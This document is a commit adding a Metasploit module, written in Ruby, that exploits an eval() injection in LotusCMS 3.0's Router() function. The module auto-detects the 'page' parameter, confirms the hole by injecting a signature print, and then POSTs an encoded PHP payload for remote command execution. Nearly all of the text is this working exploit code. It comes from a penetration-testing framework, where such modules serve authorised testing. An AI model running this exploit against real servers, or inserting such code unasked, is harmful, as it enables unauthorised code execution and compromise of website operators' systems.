Add Lotus CMS exploit (OSVDB-75095)
sinn3r
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::WmapScanUniqueQuery
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'LotusCMS 3.0 eval() Remote Command Execution',
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'Description' => %q{
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This module exploits a vulnerability found in Lotus CMS 3.0's Router()
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function. This is done by embedding PHP code in the 'page' parameter,
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which will be passed to a eval call, therefore allowing remote code execution.
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The module can either automatically pick up a 'page' parameter from the
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default page, or manually specify one in the URI option. To use the automatic
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method, please supply the URI with just a directory path, for example: "/lcms/".
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To manually configure one, you may do: "/lcms/somepath/index.php?page=index"
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Alligator Security Team',
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'dflah_ <dflah_[at]alligatorteam.org>',
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'sherl0ck_ <sherl0ck_[at]alligatorteam.org>',
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'sinn3r' #Metasploit-fu
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],
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'References' =>
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[
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[ 'OSVDB', '75095' ],
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[ 'URL', 'http://secunia.com/secunia_research/2011-21/' ]
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],
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'Payload' =>
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{
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'Space' => 4000, # only to prevent error HTTP 414 (Request-URI Too Long)
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'DisableNops' => true,
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'BadChars' => "#",
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'Keys' => ['php']
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},
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'Platform' => [ 'php' ],
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'Arch' => ARCH_PHP,
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'Targets' => [[ 'Automatic LotusCMS 3.0', { }]],
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'Privileged' => false,
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'DisclosureDate' => 'Mar 3 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URI', [true, 'URI', '/lcms/']),
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Opt::RPORT(80),
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], self.class)
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end
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def target_url
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uri = datastore['URI']
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# Make sure uri begins with '/'
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if uri[0] != '/'
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uri = '/' + uri
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end
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# Extract two things:
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# 1. The file path (/index.php), including the base
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# 2. GET parameters from the GET query
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uri = uri.scan(/^(\/.+)\/(\w+\.php)*\?*(\w+=.+&*)*$/).flatten
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base = (uri[0] || "") + '/'
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fname = uri[1] || ""
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query = uri[2] || ""
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params = queryparse(query) rescue ""
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# Use the user-supplied query if there's one, if not we'll auto-detect
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# by regexing a hyper-link
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if base.empty? or fname.empty? or params.empty?
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => datastore['URI']
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}, 20)
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if res and res.code == 200
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uri = res.body.scan(/<a.*href=['|"](\/*index\.php)\?.*(page=\w+)['|"].*>/).flatten
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@uri = base + uri[0]
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@arg = uri[1]
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print_status("Using found page param: #{@uri}?#{@arg}")
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else
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@uri = ""
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@arg = ""
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end
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else
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@uri = base + fname
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@arg = "page=#{params['page']}"
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end
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end
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def check
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target_url
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if @uri.empty? or @arg.empty?
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print_error("Unable to get the page parameter, please reconfigure URI")
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return
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end
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signature = rand_text_alpha(rand(10)+10)
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stub = "${print('#{signature}')};"
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sploit = "');#{stub}#"
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response = send_request_cgi(
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{
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'method' => 'POST',
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'uri' => @uri,
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'data' => @arg + Rex::Text.uri_encode(sploit)
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}, 20)
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if response and response.body =~ /#{signature}/
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print_status("Signature: #{signature}")
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return Exploit::CheckCode::Vulnerable
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else
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print_error("Signature was not detected")
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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return if not check == Exploit::CheckCode::Vulnerable
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begin
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sploit = "');#{payload.encoded}#"
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print_status("Sending exploit ...")
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res = send_request_cgi(
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{
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'method' => 'POST',
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'uri' => @uri,
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'data' => @arg + Rex::Text.uri_encode(sploit)
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}, 20)
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handler
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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rescue ::Timeout::Error, ::Errno::EPIPE
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end
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end
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end
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